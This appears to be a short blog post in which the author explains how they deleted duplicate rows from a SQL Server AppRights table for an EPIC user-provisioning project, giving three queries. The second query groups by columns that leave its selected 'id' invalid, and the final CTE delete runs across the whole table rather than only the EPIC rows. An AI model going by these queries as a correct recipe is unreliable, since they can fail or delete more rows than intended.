So recently I’ve been tasking with cleaning up an SQL database for a developing project I’ve been working on for EPIC and User Provisioning. I had two end up merging two table sets together to get the data I needed, However, duplicate rows impact the process, So I used the following commands below to filter through the Datasets and find the Duped rows to delete all but just one of the instances.
SELECT COUNT(*) AS Expr2, Dept, JobCode, RightsItem, RightsValue AS Expr1
FROM (SELECT TOP (100) PERCENT AppName, Dept, JobCode, RightsItem, RightsValue, Entity
FROM dbo.AppRights
WHERE (AppName LIKE 'EPIC')) AS derivedtbl_1
GROUP BY Dept, JobCode, RightsItem, RightsValue
HAVING (COUNT(*) > 1)
SELECT AppName, Dept, JobCode, RightsItem, RightsValue, Entity, ID
FROM dbo.AppRights
WHERE (ID IN
(SELECT id AS Expr1
FROM (SELECT TOP (100) PERCENT AppName, Dept, JobCode, RightsItem, RightsValue, Entity, ID
FROM dbo.AppRights AS AppRights_1
WHERE (AppName LIKE 'EPIC')
ORDER BY RightsItem) AS derivedtbl_1
GROUP BY Dept, JobCode, RightsItem, RightsValue
HAVING (COUNT(*) > 1)))
WITH g AS (
SELECT ROW_NUMBER() OVER(PARTITION BY AppName, Dept, JobCode, RightsItem, RightsValue, Entity order by Dept) AS row
FROM dbo.AppRights)
delete FROM g
WHERE row > 1